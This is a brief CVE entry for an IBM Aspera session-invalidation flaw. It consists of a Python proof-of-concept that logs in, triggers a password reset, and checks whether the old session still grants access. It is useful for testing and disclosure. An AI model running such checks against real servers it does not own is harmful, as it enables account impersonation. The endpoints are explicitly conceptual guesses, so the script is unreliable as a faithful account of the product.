CVE-2025-66483 IBM Aspera会话失效漏洞

import requests # Conceptual Proof of Concept for CVE-2025-66483 # This script demonstrates checking if a session remains valid after a password reset. target_url = "https://target-aspera-server.com" login_endpoint = f"{target_url}/login" reset_endpoint = f"{target_url}/api/reset_password" protected_resource = f"{target_url}/user/profile" session = requests.Session() # Step 1: Authenticate as a user credentials = {"username": "victim_user", "password": "oldPassword"} session.post(login_endpoint, data=credentials) print(f"[+] Logged in. Session Cookie: {session.cookies.get_dict()}") # Step 2: Simulate triggering a password reset (or admin reset) # In a real scenario, this might involve sending a specific API request reset_payload = {"user_id": "victim_user", "new_password": "newStrongPassword"} reset_response = session.post(reset_endpoint, data=reset_payload) if reset_response.status_code == 200: print("[+] Password reset request processed.") # Step 3: Attempt to access protected resource using the OLD session # If the vulnerability exists, the server accepts the old session cookie despite the password change. resource_response = session.get(protected_resource) if resource_response.status_code == 200: print("[!] VULNERABLE: The old session is still valid after password reset!") print(f"[!] Impersonation successful. Response: {resource_response.text[:100]}...") else: print("[-] Session invalidated correctly. Target is patched.") else: print("[-] Failed to trigger password reset.")